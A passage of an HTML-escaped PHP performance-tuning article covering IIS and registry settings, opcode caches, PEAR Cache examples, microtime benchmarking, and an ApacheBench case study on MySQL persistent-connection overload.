Tab).&lt;/font&gt;&lt;/p&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt;&lt;td valign="top" width="32%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Timeout&lt;/font&gt;&lt;/p&gt;&lt;/td&gt; &lt;td valign="top" width="68%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Default is 900 seconds. Set to a lower value on a Local Area Network. (Web Site Tab)&lt;/font&gt;&lt;/p&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt;&lt;td valign="top" width="32%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;HTTP Compression&lt;/font&gt;&lt;/p&gt;&lt;/td&gt; &lt;td valign="top" width="68%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;In IIS 5, you can compress dynamic pages, html and images. Can be configured to cache compressed static html and images. By default compression is off.&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;HTTP compression has to be enabled for the entire physical server. To turn it on open the IIS console, right-click on the server (not any of the subsites, but the server in the left-hand pane), and get Properties. Click on the Service tab, and select "Compress application files" to compress dynamic content, and "Compress static files" to compress static content.&lt;/font&gt;&lt;/p&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;font face="Courier New,Courier,Monaco"&gt; &lt;p&gt;You can also configure the default isolation level of your web site. In the Home Directory tab under Application Protection, you can define your level of isolation. A highly isolated web site will run slower because it is running as a separate process from IIS, while running web site in the IIS process is the fastest but will bring down the server if there are serious bugs in the web site code. Currently I recommend running PHP web sites using CGI, or using ISAPI with Application Protection set to high.&lt;/p&gt; &lt;p&gt;You can also use regedit.exe to modify following IIS 5 registry settings stored at the following location:&lt;/p&gt; &lt;/font&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt; &lt;p&gt;&lt;font size="2"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Inetinfo\Parameters\&lt;/font&gt;&lt;/p&gt; &lt;/font&gt;  &lt;table width="638" border="1" cellpadding="7" cellspacing="1"&gt;   &lt;tbody&gt;&lt;tr&gt;      &lt;td valign="top" width="19%"&gt; &lt;font size="1" face="Courier New,Courier,Monaco"&gt;        &lt;/font&gt;&lt;p&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt;&lt;font size="2"&gt;MemCacheSize &lt;/font&gt;       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td valign="top" width="81%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Sets the amount of memory that IIS will use for its file cache. By default          IIS will use 50% of available memory. Increase if IIS is the only application          on the server. Value is in megabytes.       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;      &lt;td valign="top" width="19%"&gt; &lt;font size="1" face="Courier New,Courier,Monaco"&gt;        &lt;/font&gt;&lt;p&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt;&lt;font size="2"&gt;MaxCachedFileSize&lt;/font&gt;       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td valign="top" width="81%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Determines the maximum size of a file cached in the file cache in bytes.          Default is 262,144 (256K).       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;      &lt;td valign="top" width="19%"&gt; &lt;font size="1" face="Courier New,Courier,Monaco"&gt;        &lt;/font&gt;&lt;p&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt;&lt;font size="2"&gt;ObjectCacheTTL&lt;/font&gt;       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td valign="top" width="81%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Sets the length of time (in milliseconds) that objects in the cache are          held in memory. Default is 30,000 milliseconds (30 seconds).       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;      &lt;td valign="top" width="19%"&gt; &lt;font size="1" face="Courier New,Courier,Monaco"&gt;        &lt;/font&gt;&lt;p&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt;&lt;font size="2"&gt;MaxPoolThreads&lt;/font&gt;       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td valign="top" width="81%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Sets the number of pool threads to create &lt;i&gt;per processor&lt;/i&gt;. Determines          how many CGI applications can run concurrently. Default is 4. Increase          this value if you are using PHP in CGI mode.       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;      &lt;td valign="top" width="19%"&gt; &lt;font size="1" face="Courier New,Courier,Monaco"&gt;        &lt;/font&gt;&lt;p&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt;&lt;font size="2"&gt;ListenBackLog&lt;/font&gt;       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td valign="top" width="81%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Specifies the maximum number of active Keep Alive connections that IIS          maintains in the connection queue. Default is 15, and should be increased          to the number of concurrent connections you want to support. Maximum is          250.       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;font face="Courier New,Courier,Monaco"&gt;             &lt;p&gt;If the settings are missing from this registry location, the defaults are being                used.&lt;/p&gt;             &lt;p&gt;&lt;b&gt;High Performance on Windows: IIS and FastCGI&lt;/b&gt;&lt;/p&gt;             &lt;p&gt;After much testing, I find that the best PHP performance on Windows                is offered by using IIS with FastCGI. CGI is a protocol for calling                external programs from a web server. It is not very fast because                CGI programs are terminated after every page request. FastCGI modifies                this protocol for high performance, by making the CGI program persist                after a page request, and reusing the same CGI program when a new                page request comes in. &lt;/p&gt;             &lt;p&gt;As the installation of FastCGI with IIS is complicated, you should                use the &lt;a href="http://phplens.com/phpeverywhere/easywindows"&gt; EasyWindows                PHP Installer&lt;/a&gt;. This will install PHP, FastCGI and Turck MMCache                for the best performance possible. This installer can also install                PHP for Apache 1.3/2.0. &lt;/p&gt;             &lt;p&gt;This section on FastCGI added 21 Oct 2003.&lt;/p&gt; &lt;b&gt;&lt;p&gt;PHP4's Zend Engine&lt;/p&gt; &lt;/b&gt;&lt;p&gt;The Zend Engine is the internal compiler and runtime engine used by PHP4. Developed by Zeev Suraski and Andi Gutmans, the Zend Engine is an abbreviation of their names. In the early days of PHP4, it worked in the following fashion:&lt;/p&gt; &lt;/font&gt;&lt;p align="center"&gt;&lt;img src="http://phplens.com/lens/php-book/opt/Image2.gif" width="278" height="207"&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;p&gt;The PHP script was loaded by the Zend Engine and compiled into Zend opcode. Opcodes, short for operation codes, are low level binary instructions. Then the opcode was executed and the HTML generated sent to the client. The opcode was flushed from memory after execution.&lt;/p&gt; &lt;p&gt;Today, there are a multitude of products and techniques to help you speed up this process. In the following diagram, we show the how modern PHP scripts work; all the shaded boxes are optional.&lt;/p&gt; &lt;/font&gt; &lt;p align="center"&gt;&lt;img src="http://phplens.com/lens/php-book/opt/Image3.gif" width="575" height="383"&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt; &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;PHP Scripts are loaded into memory and compiled into Zend opcodes. These opcodes    can now be optimized using an optional peephole optimizer called Zend Optimizer.    Depending on the script, it can increase the speed of your PHP code by 0-50%.  &lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Formerly after execution, the opcodes were discarded. Now the opcodes can be    optionally cached in memory using several alternative open source products and    the Zend Accelerator (formerly Zend Cache), which is a commercial closed source    product. The only opcode cache that is compatible with the Zend Optimizer is    the Zend Accelerator. An opcode cache speeds execution by removing the script    loading and compilation steps. Execution times can improve between 10-200% using    an opcode cache.&lt;b&gt;&lt;/b&gt;&lt;/font&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;/font&gt;  &lt;table width="90%" align="center" border="1" cellpadding="0" cellspacing="0"&gt;   &lt;tbody&gt;&lt;tr&gt;                 &lt;td bgcolor="#cccccc"&gt;&lt;font face="Courier New,Courier,Monaco"&gt;&lt;b&gt;                    &lt;p&gt;&lt;font color="#000000"&gt;Where to find Opcode Caches&lt;/font&gt;&lt;/p&gt;                   &lt;/b&gt;                    &lt;p&gt;&lt;font color="#000000"&gt;Zend Accelerator: A commercial opcode                      cache developed by the Zend Engine team. Very reliable and                      robust. Visit &lt;a href="http://zend.com/"&gt;http://zend.com&lt;/a&gt;                      for more information.&lt;/font&gt;&lt;/p&gt;                   &lt;p&gt;&lt;font color="#000000"&gt;You will need to test the following                      open source opcode caches before using them on production                      servers as their performance and reliability very much depends                      on the PHP scripts you run.&lt;/font&gt;&lt;/p&gt;                   &lt;p&gt;&lt;font color="#000000"&gt;Turcke MMCache: &lt;a href="http://turck-mmcache.sourceforge.net/"&gt;http://turck-mmcache.sourceforge.net&lt;/a&gt;/                       is no longer maintained. See &lt;a href="http://eaccelerator.net/HomeUk/"&gt;eAccelerator&lt;/a&gt;, which is a branch of mmcache that       is actively maintained (Added 28 Feb 2005).&lt;/font&gt;&lt;/p&gt;                   &lt;p&gt;&lt;font color="#000000"&gt;Alternative PHP Cache: &lt;a href="http://apc.communityconnect.com/"&gt;http://apc.communityconnect.com/&lt;/a&gt;&lt;/font&gt;&lt;/p&gt;                   &lt;p&gt;&lt;font color="#000000"&gt;PHP Accelerator: &lt;a href="http://www.php-accelerator.co.uk/"&gt;http://www.php-accelerator.co.uk/&lt;/a&gt;&lt;/font&gt;&lt;/p&gt;                   &lt;p&gt;&lt;font color="#000000"&gt;AfterBurner Cache: &lt;a href="http://www.bwcache.bware.it/"&gt;http://www.bwcache.bware.it/&lt;/a&gt;&lt;/font&gt;&lt;/p&gt;                      &lt;/font&gt; &lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;font face="Courier New,Courier,Monaco"&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;One of the secrets of high performance is not to write faster PHP code, but    to avoid executing PHP code by caching generated HTML in a file or in shared    memory. The PHP script is only run once and the HTML is captured, and future    invocations of the script will load the cached HTML. If the data needs to be    updated regularly, an expiry value is set for the cached HTML. HTML caching    is not part of the PHP language nor Zend Engine, but implemented using PHP code.    There are many class libraries that do this. One of them is the PEAR Cache,    which we will cover in the next section. Another is the &lt;a href="http://phpinsider.com/php/code/Smarty/"&gt;Smarty&lt;/a&gt;    template library.&lt;/p&gt; &lt;p&gt;Finally, the HTML sent to a web client can be compressed. This is enabled by    placing the following code at the beginning of your PHP script:&lt;/p&gt; &lt;/font&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt; &lt;p&gt;&lt;font size="2"&gt;&amp;lt;?php&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="2"&gt;ob_start("ob_gzhandler"); &lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="2"&gt;:&lt;br&gt;   :&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="2"&gt;?&gt;&lt;/font&gt;&lt;/p&gt; &lt;/font&gt;&lt;font face="Courier New,Courier,Monaco"&gt;&lt;p&gt;If your HTML is highly compressible, it is possible to reduce the size of your HTML file by 50-80%, reducing network bandwidth requirements and latencies. The downside is that you need to have some CPU power to spare for compression.&lt;/p&gt; &lt;b&gt;&lt;p&gt;HTML Caching with PEAR Cache&lt;/p&gt; &lt;/b&gt;&lt;p&gt;The PEAR Cache is a set of caching classes that allows you to cache multiple types of data, including HTML and images.&lt;/p&gt; &lt;p&gt;The most common use of the PEAR Cache is to cache HTML text. To do this, we use the Output buffering class which caches all text printed or echoed between the start() and end() functions:&lt;/p&gt; &lt;/font&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt;  &lt;/font&gt;&lt;p&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt;&lt;font size="2"&gt;require_once("Cache/Output.php");&lt;/font&gt;&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt;&lt;font size="2"&gt;$cache = new Cache_Output("file", array("cache_dir" =&gt; "cache/")    );&lt;/font&gt;&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt;&lt;font size="2"&gt;if ($contents = $cache-&gt;start(md5("this is a unique key!")))    {&lt;/font&gt;&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt;&lt;font size="2"&gt;#&lt;br&gt;   &lt;/font&gt;&lt;font size="2"&gt;# aha, cached data returned&lt;br&gt;   &lt;/font&gt;&lt;font size="2"&gt;#&lt;/font&gt;&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt;&lt;font size="2"&gt;   print $contents;&lt;/font&gt;&lt;br&gt;   &lt;font size="2"&gt;  print "&amp;lt;p&gt;Cache Hit&amp;lt;/p&gt;";&lt;/font&gt;&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt;&lt;font size="2"&gt;} else {&lt;/font&gt;&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt;&lt;font size="2"&gt;#&lt;br&gt;   &lt;/font&gt;&lt;font size="2"&gt;# no cached data, or cache expired&lt;br&gt;   &lt;/font&gt;&lt;font size="2"&gt;#&lt;/font&gt;&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt;&lt;font size="2"&gt;   print "&amp;lt;p&gt;Don't leave home without it…&amp;lt;/p&gt;";    # place in cache&lt;/font&gt;&lt;br&gt;   &lt;font size="2"&gt;  print "&amp;lt;p&gt;Stand and deliver&amp;lt;/p&gt;"; # place    in cache&lt;/font&gt;&lt;br&gt;   &lt;font size="2"&gt;  print $cache-&gt;end(10);&lt;/font&gt;&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt;&lt;font size="2"&gt;}&lt;/font&gt;&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt;Since I wrote these lines, a superior PEAR cache system has been developed: &lt;a href="http://pear.php.net/package/Cache_Lite"&gt;Cache Lite&lt;/a&gt;;  and for more sophisticated distributed caching, see &lt;a href="http://www.danga.com/memcached/"&gt;memcached&lt;/a&gt; (Added 28 Feb 2005). &lt;/font&gt;&lt;font face="Courier New,Courier,Monaco"&gt;  &lt;/font&gt;&lt;/p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;&lt;p&gt;The Cache constructor takes the storage driver to use as the first parameter. File, database and shared memory storage drivers are available; see the pear/Cache/Container directory. Benchmarks by Ulf Wendel suggest that the "file" storage driver offers the best performance. The second parameter is the storage driver options. The options are "cache_dir", the location of the caching directory, and "filename_prefix", which is the prefix to use for all cached files. Strangely enough, cache expiry times are not set in the options parameter.&lt;/p&gt; &lt;p&gt;To cache some data, you generate a unique id for the cached data using a key. In the above example, we used md5("this is a unique key!"). &lt;/p&gt; &lt;p&gt;The start() function uses the key to find a cached copy of the contents. If the contents are not cached, an empty string is returned by start(), and all future echo() and print() statements will be buffered in the output cache, until end() is called. &lt;/p&gt; &lt;p&gt;The end() function returns the contents of the buffer, and ends output buffering. The end() function takes as its first parameter the expiry time of the cache. This parameter can be the seconds to cache the data, or a Unix integer timestamp giving the date and time to expire the data, or zero to default to 24 hours.&lt;/p&gt; &lt;p&gt;Another way to use the PEAR cache is to store variables or other data. To do so, you can use the base Cache class:&lt;/p&gt; &lt;/font&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt;  &lt;p&gt;&lt;font size="2"&gt;&amp;lt;?php&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="2"&gt;require_once("Cache.php");&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="2"&gt;$cache = new Cache("file", array("cache_dir" =&gt; "cache/")    );&lt;br&gt;   &lt;/font&gt;&lt;font size="2"&gt;$id = $cache-&gt;generateID("this is a unique key");&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="2"&gt;if ($data = $cache-&gt;get($id)) {&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="2"&gt;   print "Cache hit.&amp;lt;br&gt;Data: $data";&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="2"&gt;} else {&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="2"&gt;   $data = "The quality of mercy is not strained...";&lt;br&gt;   &lt;/font&gt;&lt;font size="2"&gt;  $cache-&gt;save($id, $data, $expires = 60);&lt;br&gt;   &lt;/font&gt;&lt;font size="2"&gt;  print "Cache miss.&amp;lt;br&gt;";&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="2"&gt;}&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="2"&gt;?&gt;&lt;/font&gt;&lt;/p&gt; &lt;/font&gt;&lt;font face="Courier New,Courier,Monaco"&gt;  &lt;p&gt;To save the data we use save(). If your unique key is already a legal file name, you can bypass the generateID() step. Objects and arrays can be saved because save() will serialize the data for you. The last parameter controls when the data expires; this can be the seconds to cache the data, or a Unix integer timestamp giving the date and time to expire the data, or zero to use the default of 24 hours. To retrieve the cached data we use get().&lt;/p&gt;             &lt;p&gt;You can delete a cached data item using $cache-&gt;delete($id)                and remove all cached items using $cache-&gt;flush().&lt;/p&gt;             &lt;p&gt;New: A faster Caching class is &lt;a href="http://pear.php.net/package/Cache_Lite"&gt;Cache-Lite&lt;/a&gt;.                Highly recommended.&lt;/p&gt; &lt;b&gt;&lt;p&gt;Using Benchmarks &lt;/p&gt; &lt;/b&gt;&lt;p&gt;In earlier section we have covered many performance issues. Now we come to the meat and bones, how to go about measuring and benchmarking your code so you can obtain decent information on what to tune. &lt;/p&gt; &lt;p&gt;If you want to perform realistic benchmarks on a web server, you will need a tool to send HTTP requests to the server. On Unix, common tools to perform benchmarks include ab (short for apachebench) which is part of the Apache release, and the newer flood (httpd.apache.org/test/flood). On Windows NT/2000 you can use Microsoft's free Web Application Stress Tool (webtool.rte.microsoft.com).&lt;/p&gt; &lt;p&gt;These programs can make multiple concurrent HTTP requests, simulating multiple web clients, and present you with detailed statistics on completion of the tests.&lt;/p&gt; &lt;p&gt;You can monitor how your server behaves as the benchmarks are conducted on Unix using "vmstat 1". This prints out a status report every second on the performance of your disk i/o, virtual memory and CPU load. Alternatively, you can use "top d 1" which gives you a full screen update on all processes running sorted by CPU load every 1 second. &lt;/p&gt; &lt;p&gt;On Windows 2000, you can use the Performance Monitor or the Task Manager to view your system statistics.&lt;/p&gt; &lt;p&gt;If you want to test a particular aspect of your code without having to worry about the HTTP overhead, you can benchmark using the microtime(), which returns the current time accurate to the microsecond as a string. The following function will convert it into a number suitable for calculations.&lt;/p&gt; &lt;/font&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt;  &lt;p&gt;&lt;font size="2"&gt;function getmicrotime()&lt;br&gt;   &lt;/font&gt;&lt;font size="2"&gt;{ &lt;/font&gt;&lt;br&gt;    &lt;font size="2"&gt; list($usec, $sec) = explode(" ",microtime()); &lt;/font&gt;&lt;br&gt;      &lt;font size="2"&gt;return ((float)$usec + (float)$sec);&lt;br&gt;   &lt;/font&gt;&lt;font size="2"&gt;}&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="2"&gt;$time = getmicrotime();&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="2"&gt;#&lt;br&gt;   &lt;/font&gt;&lt;font size="2"&gt;# benchmark code here&lt;br&gt;   &lt;/font&gt;&lt;font size="2"&gt;# &lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="2"&gt;echo "&amp;lt;p&gt;Time elapsed: ",getmicrotime() - $time, " seconds";&lt;/font&gt;&lt;/p&gt;  &lt;/font&gt;  &lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt; Alternatively, you can use a profiling    tool such as &lt;a href="http://www.linuxjournal.com/article.php?sid=7213"&gt;APD&lt;/a&gt;    or &lt;a href="http://xdebug.derickrethans.nl/"&gt;XDebug&lt;/a&gt;.&lt;/font&gt; Also see my article &lt;a href="http://phplens.com/phpeverywhere/node/view/52"&gt;squeezing code with xdebug&lt;/a&gt;. &lt;/p&gt; &lt;b&gt;&lt;font face="Courier New,Courier,Monaco"&gt;  &lt;p&gt;Benchmarking Case Study&lt;/p&gt; &lt;/font&gt;&lt;/b&gt;&lt;font face="Courier New,Courier,Monaco"&gt;&lt;p&gt;This case study details a real benchmark we did for a client. In this instance, the customer wanted a guaranteed response time of 5 seconds for all PHP pages that did not involve running long SQL queries. The following server configuration was used: an Apache 1.3.20 server running PHP 4.0.6 on Red Hat 7.2 Linux. The hardware was a twin Pentium III 933 MHz beast with 1 Gb of RAM. The HTTP requests will be for the PHP script "testmysql.php". This script reads and processes about 20 records from a MySQL database running on another server. For the sake of simplicity, we assume that all graphics are downloaded from another web server.&lt;/p&gt; &lt;p&gt;We used "ab" as the benchmarking tool. We set "ab" to perform 1000 requests (-n1000), using 10 simultaneous connections (-c10). Here are the results:&lt;/p&gt; &lt;/font&gt; &lt;pre&gt;&lt;font face="Courier New,Courier,Monaco New, Courier New,Courier,Monaco, mono"&gt;# ab   -n1000 -c10 http://192.168.0.99/php/testmysql.php This is ApacheBench, Version 1.3 Copyright (c) 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/ Copyright (c) 1998-1999 The Apache Group, http://www.apache.org/  Server Software:        Apache/1.3.20 Server Hostname:        192.168.0.99 Server Port:            80  Document Path:          /php/testmysql.php Document Length:        25970 bytes  Concurrency Level:      10 Time taken for tests:   128.672 seconds Complete requests:      1000 Failed requests:        0 Total transferred:      26382000 bytes HTML transferred:       25970000 bytes Requests per second:    7.77 Transfer rate:          205.03 kb/s received  Connnection Times (ms)               min   avg   max Connect:        0     9   114 Processing:   698  1274  2071 Total:        698  1283  2185&lt;/font&gt; &lt;/pre&gt; &lt;font face="Courier New,Courier,Monaco"&gt;  &lt;p&gt;While running the benchmark, on the server side we monitored the resource utilization    using the command "top d 1". The parameters "d 1" mean to delay 1 second between    updates. The output is shown below.&lt;/p&gt; &lt;/font&gt;  &lt;pre&gt;&lt;font face="Courier New,Courier,Monaco New, Courier New,Courier,Monaco, mono"&gt;10:58pm  up  3:36,  2 users,  load average: &lt;b&gt;9.07&lt;/b&gt;,&lt;b&gt; 3.29, 1.79&lt;/b&gt; 74 processes: 63 sleeping, 11 running, 0 zombie, 0 stopped CPU0 states: &lt;b&gt;92.0% user&lt;/b&gt;,  &lt;b&gt;7.0% system&lt;/b&gt;,  0.0% nice,  0.0% idle CPU1 states: &lt;b&gt;95.0% user&lt;/b&gt;,  &lt;b&gt;4.0% system&lt;/b&gt;,  0.0% nice,  0.0% idle Mem:  1028484K av,  230324K used,  798160K free,      64K shrd,   27196K buff Swap: 2040244K av,       0K used, 2040244K free                   30360K cached    PID USER     PRI  NI  SIZE  RSS SHARE STAT %CPU %MEM   TIME COMMAND  1142 apache    20   0  7280 7280  3780 R    21.2  0.7   0:20 httpd  1154 apache    17   0  8044 8044  3788 S    19.3  0.7   0:20 httpd  1155 apache    20   0  8052 8052  3796 R    19.3  0.7   0:20 httpd  1141 apache    15   0  6764 6764  3780 S    14.7  0.6   0:20 httpd  1174 apache    14   0  6848 6848  3788 S    12.9  0.6   0:20 httpd  1178 apache    13   0  6864 6864  3804 S    12.9  0.6   0:19 httpd  1157 apache    15   0  7536 7536  3788 R    11.0  0.7   0:19 httpd  1159 apache    15   0  7540 7540  3788 R    11.0  0.7   0:19 httpd  1148 apache    11   0  6672 6672  3784 S    10.1  0.6   0:20 httpd  1158 apache    14   0  7400 7400  3788 R    10.1  0.7   0:19 httpd  1163 apache    20   0  7540 7540  3788 R    10.1  0.7   0:19 httpd  1169 apache    12   0  6856 6856  3796 S    10.1  0.6   0:20 httpd  1176 apache    16   0  8052 8052  3796 R    10.1  0.7   0:19 httpd  1171 apache    15   0  7984 7984  3780 S     9.2  0.7   0:18 httpd  1170 apache    16   0  7204 7204  3796 R     6.4  0.7   0:20 httpd  1168 apache    10   0  6856 6856  3796 S     4.6  0.6   0:20 httpd  1377 natsoft   11   0  1104 1104   856 R     2.7  0.1   0:02 top  1152 apache     9   0  6752 6752  3788 S     1.8  0.6   0:20 httpd  1167 apache     9   0  6848 6848  3788 S     0.9  0.6   0:19 httpd     1 root       8   0   520  520   452 S     0.0  0.0   0:04 init     2 root       9   0     0    0     0 SW    0.0  0.0   0:00 keventd&lt;/font&gt; &lt;/pre&gt; &lt;font face="Courier New,Courier,Monaco"&gt;  &lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Looking at the output of "top", the    twin CPU Apache server is running flat out with 0% idle time. What is worse    is that the &lt;i&gt;load average&lt;/i&gt; is 9.07 for the past minute (and 3.29 for the    past 5 minutes, 1.79 for the past 15 minutes). The load average is the average    number of processes that are ready to be run. For a twin processor server, any    load above 2.0 means that the system is being overloaded. You might notice that    there is a close relationship between load (9.07) and the number of simultaneous    connections (10) that we have defined with ab.&lt;/font&gt;&lt;/p&gt; &lt;/font&gt; &lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Luckily we have plenty of physical    memory, with about 798,160 Mb free and no virtual memory used.&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Further down we can see the processes    ordered by CPU utilization. The most active ones are the Apache httpd processes.    The first httpd task is using 7280K of memory, and is taking an average of 21.2%    of CPU and 0.7% of physical memory. The STAT column indicates the status: R    is runnable, S is sleeping, and W means that the process is swapped out.&lt;/font&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt; &lt;p&gt;Given the above figures, and assuming this a typical peak load, we can perform    some planning. If the load average is 9.0 for a twin-CPU server and assuming    each task takes about the same amount of time to complete, then a lightly loaded    server should be 9.0 / 2 CPUs = 4.5 times faster. So a HTTP request that used    to take 1.283 seconds to satisfy at peak load will take about 1.283 / 4.5 =    0.285 seconds to complete. &lt;/p&gt; &lt;p&gt;To verify this, we benchmarked with 2 simultaneous client connections (instead    of 10 in the previous benchmark) to give an average of 0.281 seconds, very close    to the 0.285 seconds prediction! &lt;/p&gt; &lt;/font&gt; &lt;pre&gt;&lt;font face="Courier New, Courier, mono"&gt;# ab   -n100 -c2 http://192.168.0.99/php/testmysql.php   [ some lines omitted for brevity ]  Requests per second:    7.10 Transfer rate:          187.37 kb/s received  Connnection Times (ms)               min   avg   max Connect:        0     2    40 Processing:   255   279   292 Total:        255   281   332&lt;/font&gt; &lt;/pre&gt; &lt;font face="Courier New,Courier,Monaco"&gt;  &lt;p&gt;Conversely, doubling the connections, we can predict that the average connection    time should double from 1.283 to 2.566 seconds. In the benchmarks, the actual    time was 2.570 seconds. &lt;/p&gt; &lt;b&gt;  &lt;p&gt;Overload on 40 connections&lt;/p&gt; &lt;/b&gt;  &lt;p&gt;When we pushed the benchmark to use 40 connections, the server overloaded with    35% failed requests. On further investigation, it was because the MySQL server    persistent connects were failing because of "Too Many Connections". &lt;/p&gt; &lt;p&gt;The benchmark also demonstrates the &lt;i&gt;lingering&lt;/i&gt; behavior of Apache child    processes. Each PHP script uses 2 persistent connections, so at 40 connections,    we should only be using at most 80 persistent connections, well below the default    MySQL max_connections of 100. However Apache idle child processes are not assigned    immediately to new requests due to latencies, keep-alives and other technical    reasons; these lingering child processes held the remaining 20+ persistent connections    that were "the straws that broke the Camel's back".&lt;/p&gt; &lt;b&gt;  &lt;p&gt;The Fix&lt;/p&gt; &lt;/b&gt;  &lt;p&gt;By switching to non-persistent database connections, we were able to fix this    problem and obtained a result of 5.340 seconds. An alternative solution would    have been to increase the MySQL max_connections parameter from the default of    100.&lt;/p&gt; &lt;b&gt;  &lt;p&gt;Conclusions&lt;/p&gt; &lt;/b&gt;  &lt;p&gt;The above case study once again shows us that optimizing your performance is    extremely complex. It requires an understanding of multiple software subsystems    including network routing, the TCP/IP stack, the amount of physical and virtual    memory, the number of CPUs, the behavior of Apache child processes, your PHP    scripts, and the database configuration.&lt;/p&gt; &lt;p&gt;In this case the PHP code was quite well tuned, so the first bottleneck was    the CPU, which caused a slowdown in response time. As the load increased, the    system slowed down in a near linear fashion (which is a good sign) until we    encountered the more serious bottleneck of MySQL client connections. This caused    multiple errors in our PHP pages until we fixed it by switching to non-persistent    connections.&lt;/p&gt; 